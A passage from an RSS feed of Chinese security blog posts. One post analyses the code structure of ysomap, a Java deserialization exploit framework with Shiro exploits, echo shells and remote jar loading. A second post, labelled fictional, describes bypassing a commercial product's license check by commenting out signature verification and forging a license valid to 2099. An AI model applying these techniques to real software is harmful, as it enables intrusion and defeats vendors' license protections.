src="https://wechat2rss.xlab.app/img-proxy/?k=b8c024cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyTM2bYUl3QDCercqRHcnN3JYBG8oXtwtNscnwDZBbxLps9MxLpZ2fKxQ%2F640%3Fwx_fmt%3Dpng"/></p></h1><p ql-global="true" line="4ffL"><span style="font-size: 14px;">Field</span></p><p><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//当前session的uuid</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> uuid = UUID.randomUUID().toString();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//对应Status类 对应&gt; 前面的数据，选取了相应的payload或者bullet后，会更新&gt;后面关键字</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Status status = <span class="code-snippet__keyword">new</span> Status();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Exploit exploit;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Payload payload;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Bullet bullet;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//当前exploit payload 或bullet的配置</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> Map&lt;<span class="code-snippet__built_in">String</span>, HashMap&lt;<span class="code-snippet__built_in">String</span>, <span class="code-snippet__built_in">Object</span>&gt;&gt; settings = <span class="code-snippet__keyword">new</span> HashMap&lt;&gt;();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> Console <span class="code-snippet__built_in">console</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">boolean</span> isExploit = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">boolean</span> isEmpty = <span class="code-snippet__literal">true</span>;</span></code></pre></section><p><span style="font-size: 14px;"></span><br/></p><h1><p style="text-align: center;"><strong><span style="font-size: 20px;">三、ysomap.core.serializer</span></strong></p></h1><p ql-global="true" line="FZhu"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p ql-global="true" line="FZhu"><span style="font-size: 14px;"><br/></span></p><p ql-global="true" line="FZhu"><span style="font-size: 14px;">首先是ysomap.core.serializer.DefaultSerializer，java ObjectOutputStream的序列化工具类，提供serialize、deserialize方法，提供序列化反序列化功能，OUTPUT 对应了序列化后的二进制数据默认以文件的方式存到工具当前运行目录。</span><br/></p><p ql-global="true" line="ZaYa"><span style="font-size: 14px;">然后时json相关的序列化工具类，通过调用组件自身的序列化以及放序列化方法实现了对Jackson以及FastJson的支持。</span></p><p ql-global="true" line="z2y0"><span style="font-size: 14px;">工具还支持hessian反序列化数据的生成，和上面一样，也是通过导入hessian.jar 实现此功能。</span></p><p ql-global="true" line="wO7U"><span style="font-size: 14px;">最后就是xml，支持XStream以及XMLDecode，同上。</span></p><p ql-global="true" line="mxJO"><span style="font-size: 14px;">ysomap.core.serializer.SerializerFactory 序列化工厂类，用于生产各类序列化器，如FastJson、JackJson等等。</span></p><p ql-global="true" line="mxJO"><span style="font-size: 14px;"><br/></span></p><h1><p style="text-align: center;"><strong><span style="font-size: 20px;">四、Payloads &amp; Bullets Exploit</span></strong></p></h1><p ql-global="true" line="pxQ6"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p ql-global="true" line="pxQ6"><span style="font-size: 14px;"><br/></span></p><p ql-global="true" line="pxQ6"><span style="font-size: 14px;">payload 与 bullets 分开，还是很奈斯</span><br/></p><blockquote line="VQU7"><p><span style="font-size: 14px;">ysomap的存在就是为了解决此类问题，采用模块化的思想，ysomap将具备动态组合利用链和利用效果的能力。对于遇到的不同环境，根据特定的组合来达成实际利用。</span></p></blockquote><blockquote line="c225"><p><span style="font-size: 14px;">为此，我将原本的利用链切分成了两个部分payload和bullet：</span></p></blockquote><blockquote line="1CbT"><p><span style="font-size: 14px;">payload：指代利用链的前序部分</span></p></blockquote><blockquote line="0moq"><p><span style="font-size: 14px;">bullet：指代最终利用链可达成的效果，如命令执行、jndi外链等效果</span></p></blockquote><p ql-global="true" line="cXf9"><span style="font-size: 14px;">ysomap.payloads.Payload 接口提供如下方法</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.23515981735159816" data-s="300,640" style="" data-type="png" data-w="876" src="https://wechat2rss.xlab.app/img-proxy/?k=2262b1e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyT6EG75UP95kft8gsd71EvrD0MMbbDICd7904KiaYwic5C52oT8Arn3KQg%2F640%3Fwx_fmt%3Dpng"/></p><p ql-global="true" line="CrFs"><span style="font-size: 14px;">提供如下payload</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5194029850746269" data-s="300,640" style="" data-type="png" data-w="1005" src="https://wechat2rss.xlab.app/img-proxy/?k=87676b07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyTkLSIOLTnTP0HY619XCymoSrH7Rz9KdxIjmzM38pXfWQWzuSgh8mtLQ%2F640%3Fwx_fmt%3Dpng"/></p><p ql-global="true" line="qzPn"><span style="font-size: 14px;">接下来看bullet ysomap.bullets.Bullet，提供了多种利用效果</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.803125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d78d308f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyTa6MvQcJTXicsgSXcoMibqic70tDtFCuLl40NUK8gedkXewncXVXnuWDbA%2F640%3Fwx_fmt%3Dpng"/></p><p ql-global="true" line="z9B8"><span style="font-size: 14px;">Exploit</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.771875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=20ed5803&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5icwcSyZg5vYEndGXDW5NcyTI5fgz2VhgI12C05TfjADGblYxpXBM83MyZYQrryZKkF1WNicq3xUfiaA%2F640%3Fwx_fmt%3Dpng"/></p><h1><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 20px;">五、一些工具类</span></strong></p><p><span style="font-size: 14px;caret-color: transparent;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;caret-color: transparent;"><br/></span></p><p><strong><span style="font-size: 16px;caret-color: transparent;">1.ysomap.core.util *Helper</span></strong><br/></p></h1><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p ql-global="true" line="PBXv"><span style="font-size: 14px;">ysomap.core.util.CipherHelper  Shiro反序列化漏洞利用时的加密工具类</span></p></li><li><p ql-global="true" line="Tdut"><span style="font-size: 14px;">ysomap.core.util.ClassFiles  通过javassist，实现动态修改class，根据不同bullet功能，实现序列化数据的构造</span></p></li><li><p ql-global="true" line="vGal"><span style="font-size: 14px;">ysomap.core.util.FileHelper 文件内容读取，只有一个getFileContent方法</span></p></li><li><p ql-global="true" line="V4W9"><span style="font-size: 14px;">ysomap.core.util.HTTPHelper 通过okthhp库可开启http服务，发送get post请求</span></p></li><li><p ql-global="true" line="RQWQ"><span style="font-size: 14px;">ysomap.core.util.PayloadHelper</span></p></li><li><p ql-global="true" line="JPW3"><span style="font-size: 14px;">ysomap.core.util.ReflectionHelper 反射相关工具类</span></p></li><li><p ql-global="true" line="K0pY"><span style="font-size: 14px;">ysomap.core.util.SocketHelper socket连接工具类，不过好像没地方用到</span></p></li></ul><p ql-global="true" line="WkC6"><br/></p><h2><p><strong><span style="font-size: 16px;">2.thirdparty</span></strong></p></h2><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p ql-global="true" line="sPkK"><span style="font-size: 14px;">echo.SocketEchoPayload 为bullet提供一个小型socket连接shell</span></p></li><li><p ql-global="true" line="paGX"><span style="font-size: 14px;">echo.TomcatEchoPayload 为bullet提供tomcat回显实现功能</span></p></li><li><p ql-global="true" line="FjpM"><span style="font-size: 14px;">loader.RemoteFileLoader 为bullet提供远程jar加载功能</span></p></li><li><p ql-global="true" line="79be"><span style="font-size: 14px;">org.apache.shiro shiro反序列化漏洞攻击相关依赖</span></p></li></ul><p ql-global="true" line="vgAU"><br/></p><h1><p style="text-align: center;"><strong><span style="font-size: 20px;">六、Other</span></strong></p></h1><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">反序列化攻击时，uid不匹配是个坑，希望作者后期更新可以加上</span><br/></p><p><span style="font-size: 14px;">bullet还可以加上更多的攻击方式 不同框架的回显内存马之类</span></p><p><span style="font-size: 14px;">作者提供的script功能有很大的发挥空间，就拿shiro来说，有时我们不确定那条链能用，可以自己些script来进行初步fuzz</span></p><p ql-global="true" line="1fvP"><br/></p><h1><p style="text-align: center;"><span style="font-size: 20px;"><strong>七、参考链接</strong></span></p><p style="text-align: center;"><span style="font-size: 20px;"><strong><br/></strong></span></p></h1><p ql-global="true" line="nm2T"><span style="font-size: 14px;"><a href="https://github.com/wh1t3p1g/ysomap" target="_blank">https://github.com/wh1t3p1g/ysomap</a></span></p><p ql-global="true" line="nm2T"><br/></p><p ql-global="true" line="LmKW"><br/></p><p ql-global="true" line="BGSI"><strong><span style="font-size: 14px;">最后作者YYDS Respect</span></strong><span style="font-size: 14px;"></span></p><p><br/></p>



<p><a href="2247484987">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e82a9e4e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247484987%26idx%3D1%26sn%3D627ddc3707004fcf825e77ed2bdfd362%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Dec 2021 13:57:00 +0800</pubDate>
    </item>
    <item>
      <title>虽然但是......有件事比RCE还让人开心</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247484961&amp;idx=1&amp;sn=140eb4f6219201482e35486064c186b4</link>
      <description>本故事纯虚构，如有雷同，纯属巧合</description>
      <content:encoded><![CDATA[<p>
<span>Skay</span> <span>2021-11-25 18:07</span> <span style="display: inline-block;"></span>
</p>

<p>本故事纯虚构，如有雷同，纯属巧合</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e58454db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBJEKR4WiaBEzcD9icI2EjNYEXgr5CyeFA4h6ziaqgPl6mFrYtak4PsWrYg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><strong><span style="font-size: 14px;">&#34;本故事纯虚构，如有雷同，纯属巧合&#34;</span></strong></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">忙活到晚上十点多，好多辛酸</span></p><p><shape type="#_x0000_t75" filled="f"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.6259124087591241" style="width:547.6199951171875px;height:342.54998779296875px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=9b78a7e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBz1WIoWst84VVmjgCxFWFOfNjrVHTvKIiaIGMSFFKSC2723HVr1UwNLA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;"><strong><span style="font-size: 18px;">正文</span></strong></p><p><span style="font-size: 14px;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><span style="font-size: 14px;">消息框闪烁，是领导丢过来一个exe</span><br/></p><p><strong><span style="font-size: 14px;">“审一下，只要RCE”</span></strong><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">打开虚拟机，安装过程很傻瓜，下一步下一步就可，心想审完晚上就可以去吃很久以前了，很可惜，license过期了。按照之前的思路，尝试修改了服务器时间，还是不太行。</span></p><p><span style="font-size: 14px;">还好应用是运行在tomcat之上，tomcat报错日志很完整，可以准确定位到lincense校验逻辑</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6277372262773723" style="width:547.6199951171875px;height:344.010009765625px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=4320e3de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBrAwXp7rKj2yHK6OKqOiaAPfeOMy8sRPFPZBy4je3QNlYNn9Y5C2q6ag%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">将jar放到本地idea，反编译后，做了一些混淆操作，看起来不太友好。因为是Tomcat的项目，先配置调试一波，by the way，因为是启动时做的license校验，需要使用LIsten to remote JVM的方式调试，且参数suspend需设置为y</span></p><p><img class="rich_pages wxw-img" data-ratio="0.14051094890510948" style="width:547.6199951171875px;height:77.0px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=f3be0f0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBxBwtZgbQ4AWht62ASKR5lA0xKwdPOAfiaicr6jI4VSQT33Zu4j8DPqwg%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">set</span> CATALINA_OPTS=-<span class="code-snippet__keyword">server</span> -Xdebug -Xnoagent -Djava.compiler=<span class="code-snippet__keyword">NONE</span> -Xrunjdwp:transport=dt_socket,<span class="code-snippet__keyword">server</span>=y,<span class="code-snippet__keyword">suspend</span>=n,address=<span class="code-snippet__number">10010</span></span></code></pre></section><p><span style="font-size: 14px;"></span><br/></p><p><span style="font-size: 14px;">因为加了一些防反编译的措施，所以正常的调试也遇到了很多问题，行号不对应，断点只能下到方法上，凑活看吧，不过根据类名以及全局搜索License关键字，还是勉强可以定位到check逻辑</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6204379562043796" style="width:547.6199951171875px;height:340.4599914550781px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=ca97a250&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBmBcIDRufkKnQfgeXsibHd2ApllnvickPOStxLucSH2QM97WJVq0l8Nhg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">首先尝试直接将getLicense 全部清除，直接new 一个新的</span></p><p><img class="rich_pages wxw-img" data-ratio="0.4251824817518248" style="width:547.6199951171875px;height:233.11000061035156px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=f3c010c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBN4JHLXZe9NibFn8a0NmU3QAecwptcX8ZYzybGRLFeqz08CrjPYrAADw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">太暴力了，Tomcat启动报错，访问哪个页面都是500</span></p><p><img class="rich_pages wxw-img" data-ratio="0.3704379562043796" style="width:547.6199951171875px;height:203.27999877929688px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=55a73c87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBJq7BQvwzhq1maq6KmZN2PicajCfObQ3PSvFUWrTMM7YMYhs2RzYwKJw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">然后尝试构造License这个类，这里又遇到了混淆的坑，License类里面套了多个ilililililililll类，这个类不可读，放弃了。</span></p><p><span style="font-size: 14px;">再从头调试，虽然只能端到方法上，但是死盯着debugg框，发现了一组base64数据，解密出来长这个样子，毫无疑问就是那个过期的license解密出来的数据了</span></p><p><img data-ratio="0.10766423357664233" style="width:547.6199951171875px;height:59.029998779296875px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=c85f70ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBciakibU7Hlml7Vm1RxYgKWsyHeC4PQJ3xP4ZNr2Rjo5xpJs7aKicJ5leA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">这时候我们换个思路，尝试调用加密逻辑伪造license</span></p><p><span style="font-size: 14px;">首先寻找license的源文件，在安装目录的conf下，找到了license.xml 长得样子很像license，里面有签名 有效实现等参数</span></p><p><img class="rich_pages wxw-img" data-ratio="0.24635036496350365" style="width:547.6199951171875px;height:134.52999877929688px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=cc669b8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBNMgrbJxzzRSkdlXfSAMUQ5ZobLCOxDw8xPNLgic655MChfVVQLDhGgw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">然后再去代码中查找相关解密函数</span></p><p><img class="rich_pages wxw-img" data-ratio="0.7664233576642335" style="width:547.6199951171875px;height:420.1600036621094px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=bd58d6e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBL1NSPwib6kIJd4DCYibvXPY5xmubs5DySkW0PgA1K4jicZFic0GRZMn1cA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">我先将断点下到了解密函数中，尝试很多次都停不下来，直接停到解密后的数据</span></p><p><span style="font-size: 14px;">沉思.....将断点下到配置文件加载处，license.xml确实是被加载到jvm中....</span></p><p><span style="font-size: 14px;">只能硬着头皮本地直接调用了</span></p><p><img class="rich_pages wxw-img" data-ratio="0.3686131386861314" style="width:547.6199951171875px;height:201.57000732421875px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=0d831b6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBibic1yal79WPU5gFoLT4bEhfAnRjKyCzwGQ7Vr5qRDlG62KovrRwhAwg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">将修改后的lincese.xml放到虚拟机中，还是无效.....陷入僵局.....</span></p><p><span style="font-size: 14px;">只能在从头跟代码了，期间注意到启动时加载了很多配置文件，一个个去翻，皇天不负有心人，翻到一个<strong>css文件夹下</strong>的文件时，突然兴奋了起来，里面是一串base64编码后的数据</span></p><p><img class="rich_pages wxw-img" data-ratio="0.16970802919708028" style="width:547.6199951171875px;height:93.41000366210938px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=dd8abae7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NBP3anEReLoFTjXJianhHvZtibGhlgq3oF2H54GrcuYYzX6ibDn87yc6CFw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">直接解码后正是上述debug中的license，真狗，原来根本没调用加密解密逻辑。不过后面还跟了一串签名校验，此时已经跟了很多代码，代码比较熟悉了，直接就定位到了签名校验处：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5711678832116789" style="width:547.6199951171875px;height:313.1600036621094px;" data-type="png" data-w="548" src="https://wechat2rss.xlab.app/img-proxy/?k=64a70744&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NB3wb4rNVfeP0ZRiacYGufQy9PHC576nF38q1Rzk2jwveKdNm3SibBNK0g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">注释掉校验逻辑，再改一下license，有效期到2099年，放上去，大功告成!</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6109550561797753" data-s="300,640" style="" data-type="png" data-w="712" src="https://wechat2rss.xlab.app/img-proxy/?k=000fe5a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58Vo6wGQFs91xS9ZMHqe1NB8LpFTYIB0JFjFIgpjxWhdZvOtUqC95HS2FvJAmOviaic7hQ9ZNnUThcQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247484961">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bcdf553e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247484961%26idx%3D1%26sn%3D140eb4f6219201482e35486064c186b4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 Nov 2021 18:07:00 +0800</pubDate>
    </item>
  </channel>
</rss>